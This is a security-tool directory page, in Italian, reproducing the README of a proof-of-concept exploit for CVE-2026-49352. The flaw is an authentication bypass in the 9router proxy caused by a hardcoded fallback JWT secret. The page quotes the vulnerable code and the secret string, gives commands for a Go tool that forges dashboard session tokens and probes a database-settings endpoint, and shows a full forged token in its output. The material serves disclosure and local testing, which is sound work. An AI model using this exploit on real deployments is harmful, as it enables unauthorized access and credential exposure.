Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
cve-2026-49352-poc — PoC di sfruttabilità per CVE-2026-49352 (9router: bypass dell'autenticazione tramite segreto JWT hardcoded) | Kitploit
Strumenti/GitHubGitHub/covepseng/cve-2026-49352-poc
Autenticazione e AutorizzazioneGenerazione di PayloadAnalisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebPenetration TestingApprendimento e Formazione
GitHubcovepseng/cve-2026-49352-poc

cve-2026-49352-poc

PoC di sfruttabilità per CVE-2026-49352 (9router: bypass dell'autenticazione tramite segreto JWT hardcoded)

Vedi Repository
1 mese faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2026-49352 — Bypass dell'autenticazione tramite segreto JWT hardcoded in 9router

Indice

  • Panoramica
  • Versioni interessate
  • Causa principale
  • Analisi
  • Struttura del repository
  • Requisiti
  • Utilizzo
  • Output atteso
  • Riferimenti
  • Disclaimer

Panoramica

CVE-2026-49352 è una vulnerabilità in 9router, un proxy self-hosted basato su Node.js/Next.js per strumenti di coding con IA. Il JWT di sessione della dashboard viene firmato con un segreto ottenuto dalla variabile d'ambiente JWT_SECRET, ma se tale variabile non viene impostata, sia l'handler di login sia il guard delle richieste ricadono sullo stesso valore letterale hardcoded:

root@kitploit:~
const SECRET = new TextEncoder().encode(
  process.env.JWT_SECRET || "9router-default-secret-change-me"
);

Poiché questa stringa è presente nel repository pubblico, non è affatto un segreto. Qualsiasi attaccante può firmare un token con essa ed essere trattato come un utente autenticato della dashboard.


Versioni interessate

Intervallo interessatoCorretto in
0.2.21 – 0.4.410.4.45

Causa principale

Il segreto di fallback è definito in modo identico in due file indipendenti.

src/app/api/auth/login/route.js — emette il token di sessione al login:

root@kitploit:~
const SECRET = new TextEncoder().encode(
  process.env.JWT_SECRET || "9router-default-secret-change-me"
);

const token = await new SignJWT({ authenticated: true })
  .setProtectedHeader({ alg: "HS256" })
  .setExpirationTime("24h")
  .sign(SECRET);

src/dashboardGuard.js — verifica il token su ogni richiesta protetta:

root@kitploit:~
const SECRET = new TextEncoder().encode(
  process.env.JWT_SECRET || "9router-default-secret-change-me"
);

async function hasValidToken(request) {
  const token = request.cookies.get("auth_token")?.value;
  if (!token) return false;
  try {
    await jwtVerify(token, SECRET);
    return true;
  } catch {
    return false;
  }
}

Il successo di hasValidToken() è l'unica condizione verificata prima di concedere l'accesso a /dashboard e agli endpoint elencati in ALWAYS_PROTECTED (incluso /api/settings/database). Non viene effettuata alcuna ricerca di un record di sessione né alcuna validazione della provenienza del token: una firma valida viene trattata come prova di identità.


Analisi

Il bypass è confermato e riproducibile su una build del codebase interessato. Con JWT_SECRET non impostato:

root@kitploit:~
[1] Forging dashboard session JWT with the hardcoded fallback secret...
[+] Forged auth_token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...

[2] Requesting /dashboard with the forged auth_token cookie...
[+] 200 OK — authentication bypass confirmed

[3] Probing /api/settings/database for exposed credentials...
[+] /api/settings/database returned 200

La modalità di deployment è rilevante

La vulnerabilità si manifesta solo quando JWT_SECRET non è mai stato impostato dall'operatore — la condizione predefinita per la maggior parte dei deployment quick-start / docker-run che saltano il passaggio di configurazione dell'ambiente. I deployment che impostano esplicitamente JWT_SECRET a un valore casuale non sono interessati, poiché SECRET viene derivato una sola volta al caricamento del modulo e non ricade mai sul fallback.


Struttura del repository

root@kitploit:~
cve-2026-49352-poc/
├── dockerfile                   # 9router built from source, pinned to v0.4.30 (affected)
├── podman-compose.yml           # build + run, JWT_SECRET intentionally omitted
└── exploit/
    ├── go.mod                   # requires github.com/golang-jwt/jwt/v5
    └── exploit.go                # PoC — Go

Requisiti

StrumentoVersioneNote
Podman≥ 4.0Richiede podman-compose
Go≥ 1.22Per eseguire l'exploit in locale

Dipendenza Go esterna: github.com/golang-jwt/jwt/v5.


Utilizzo

1. Build e avvio del container

root@kitploit:~
podman-compose build
podman-compose up -d

Attendere che l'app segnali di essere pronta, quindi verificare:

root@kitploit:~
curl -si http://localhost:20128/dashboard | head -1
# Expected: HTTP/1.1 307 (redirect to /login, no session yet)

2. Esecuzione dell'exploit

root@kitploit:~
cd exploit
go run exploit.go -target http://localhost:20128

Aggiungere -probe per richiedere anche /api/settings/database con il cookie contraffatto:

root@kitploit:~
go run exploit.go -target http://localhost:20128 -probe

Flag disponibili:

3. Pulizia

root@kitploit:~
podman-compose down -v

Output atteso

root@kitploit:~
[1] Forging dashboard session JWT with the hardcoded fallback secret...
[+] Forged auth_token:
    eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJhdXRoZW50aWNhdGVkIjp0cnVlLCJleHAiOjI5MTgzNjMwMTksImlhdCI6MTc4MzA2NzAxOX0.yYdNxS-nYuxv609j1w7juimNVM1RROAfVRjZyt6TU3M
[2] Requesting /dashboard with the forged auth_token cookie...
[+] 200 OK — authentication bypass confirmed against http://localhost:20128
[3] Probing /api/settings/database for exposed credentials (per advisory attack scenario)...
[+] /api/settings/database returned 200
{"settings":{},"providerConnections":[],"providerNodes":[],"proxyPools":[],"apiKeys":[],"combos":[],"modelAliases":{},"customModels":[],"mitmAlias":{},"pricing":{}}

Riferimenti

RisorsaLink
Avviso di sicurezzaGHSA-jphh-m39h-6gwx
Repository vulnerabiledecolua/9router
Analisi completa — post del blogreturn-zero.dev/posts/cve-2026-49352

Disclaimer

Questa repository ha finalità esclusivamente educative e di analisi locale della sfruttabilità. Tutti i test sono stati eseguiti su un ambiente container self-hosted. Non eseguire questo PoC su sistemi che non possiedi o per i quali non disponi di un'esplicita autorizzazione scritta a effettuare test.

Scarica lo strumento
FlagDefaultDescrizione
-targethttp://localhost:20128URL di base dell'istanza 9router
-secret9router-default-secret-change-meSegreto JWT di fallback da usare per la contraffazione
-ttl36 * 365 * 24hFinestra di validità del token contraffatto
-probefalseRichiede anche /api/settings/database